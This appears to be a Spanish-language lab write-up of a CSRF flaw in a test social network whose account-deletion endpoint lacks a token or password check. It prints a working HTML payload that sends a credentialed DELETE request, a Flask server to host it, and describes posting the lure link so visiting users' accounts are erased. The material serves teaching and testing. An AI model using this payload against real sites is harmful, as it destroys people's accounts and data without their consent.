Entrada

CSRF account deletion

CSRF account deletion

CSRF account deletion

CSRF account deletion Red social donde el endpoint de eliminacion de cuenta no requiere confirmacion de contrasena y es vulnerable a CSRF, permitiendo borrar la cuenta de cualquier usuario con un solo clic.

csrf_account_deletion_button

Analizamos el proceso de borrado de cuenta, siguiendo los pasos lógicos en la aplicación

csrf_account_deletion_request

Capturamos el request con Burp/Zap/Caido y vemos como se realiza, como se puede observar es que no requiere ningún CSRF Token ni medidas de seguridad que requieran que para este paso tan crítico en la aplicación haga el requerimiento por ejemplo de preguntar si estamos seguros de borrar la cuenta, por poner un ejemplo.

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head><title>Welcome</title></head>
<body>
Thanks for testing!!!
<script>
  fetch('https://localhost:1000/api/users/account', {
    method: 'DELETE',
    credentials: 'include'
  });
</script>
  
 </body>
 </html> 

Creamos un web “phising” para que los usuarios nos “ayuden” con nuestra web, cuando la visiten su cuenta será eliminada.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, render_template
from flask_cors import CORS
import datetime
import logging

app = Flask(__name__)
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
CORS(app)

@app.route("/")
def index():
    return render_template("csrf.html")


app.run(host="127.0.0.1", port=8082)

Esto sería el código de Python Flask para servir la página

csrf_account_deletion_phising_feed

Ahora posteamos el link en el feed para que la gente lo visite y nos “ayude”.

csrf_account_deleted_phising_site

Ahora ya se a realizado el proceso y se habrá borrado la cuenta del usuario que haya entrado.

csrf_account_deletion_login_failed

Comprobamos que el usuario alice ha sido eliminado y no puede logarse.

csrf_deletion_account_bob

Al entrar de nuevo esta vez como usuario Bob, vemos que todos los post de Alice han sido eliminados, de hecho su cuenta ha sido eliminada.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.